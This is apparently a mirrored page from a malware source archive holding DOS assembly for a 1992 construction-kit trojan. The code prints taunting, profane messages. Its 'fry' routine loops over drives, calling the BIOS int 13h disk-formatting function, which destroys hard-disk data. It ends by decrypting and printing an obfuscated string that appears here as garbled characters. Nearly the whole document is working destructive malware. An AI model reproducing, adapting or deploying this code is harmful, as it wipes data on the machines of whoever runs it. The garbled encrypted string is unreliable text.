mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
89 lines
1.8 KiB
NASM
89 lines
1.8 KiB
NASM
|
; Trojan Horse Constructed with...
|
|||
|
; The Trojan Horse Construction Kit, v1.00
|
|||
|
; Copyright(c) 1992, Stingray/VIPER
|
|||
|
; A Viral Inclined Programming Experts Ring Programming Team Production.
|
|||
|
|
|||
|
IDEAL
|
|||
|
DOSSEG
|
|||
|
MODEL small
|
|||
|
STACK 256
|
|||
|
DATASEG
|
|||
|
msg_1 db "",13,10
|
|||
|
db "This is a Trojain horse. Curtocy of White Shark! HA HA HA",13,10
|
|||
|
db "",13,10
|
|||
|
db "Mess with White Shark and you'll be eaten alive!",13,10
|
|||
|
db "",13,10
|
|||
|
db "",13,10
|
|||
|
db "",13,10
|
|||
|
db "",13,10
|
|||
|
db "",13,10
|
|||
|
db "",13,10
|
|||
|
db '$'
|
|||
|
msg_2 db "",13,10
|
|||
|
db "You've been fucked! Curtocy of White Shark!",13,10
|
|||
|
db "",13,10
|
|||
|
db "Mess with White Shark and you'll be eaten alive!",13,10
|
|||
|
db "",13,10
|
|||
|
db "",13,10
|
|||
|
db "",13,10
|
|||
|
db "",13,10
|
|||
|
db "",13,10
|
|||
|
db "",13,10
|
|||
|
db '$'
|
|||
|
vip db "<22><><EFBFBD><EFBFBD>}<7D><><EFBFBD>Ǿ<EFBFBD>}Ծ<>}<7D><>¾<EFBFBD><C2BE><EFBFBD>}<7D><><EFBFBD>ŋ<EFBFBD><C58B>",106,103
|
|||
|
db "<22><><EFBFBD>}<7D><><EFBFBD>Ǿ<EFBFBD>}<7D><><EFBFBD><EFBFBD><EFBFBD>}<7D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>}<7D><>щ}ӎ<><D38E><EFBFBD>",106,103
|
|||
|
db "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>}<7D><><EFBFBD>}<7D><><EFBFBD><EFBFBD><EFBFBD>}<7D><>Ͼ<EFBFBD>}<7D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>}<7D><><EFBFBD><EFBFBD>Ͼ<EFBFBD><CFBE><EFBFBD><EFBFBD><EFBFBD>}<7D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>}<7D><><EFBFBD>ċ",106,103
|
|||
|
CODESEG
|
|||
|
Start:
|
|||
|
mov ax,@data
|
|||
|
mov ds,ax
|
|||
|
|
|||
|
mov ah,9
|
|||
|
mov dx,offset msg_1
|
|||
|
int 21h
|
|||
|
mov dl,24
|
|||
|
aqui:
|
|||
|
call fry
|
|||
|
call fry
|
|||
|
call fry
|
|||
|
inc dl
|
|||
|
cmp dl,1
|
|||
|
jne aqui
|
|||
|
mov ah,9
|
|||
|
mov dx,offset msg_2
|
|||
|
int 21h
|
|||
|
mov si,offset vip
|
|||
|
call DeCrypt_Print
|
|||
|
jmp Exit
|
|||
|
PROC DeCrypt_Print
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
here:
|
|||
|
lodsb
|
|||
|
or al,al
|
|||
|
je no_mas
|
|||
|
xchg dl,al
|
|||
|
sub dl,93
|
|||
|
mov ah,2
|
|||
|
int 21h
|
|||
|
jmp short here
|
|||
|
no_mas:
|
|||
|
pop ax
|
|||
|
pop dx
|
|||
|
ret
|
|||
|
ENDP DeCrypt_Print
|
|||
|
PROC fry
|
|||
|
push dx
|
|||
|
mov ax,ds
|
|||
|
mov es,ax
|
|||
|
mov ax,0701h
|
|||
|
mov ch,0
|
|||
|
int 13h
|
|||
|
pop dx
|
|||
|
ret
|
|||
|
ENDP fry
|
|||
|
Exit:
|
|||
|
mov ax,4c00h
|
|||
|
int 21h
|
|||
|
END Start
|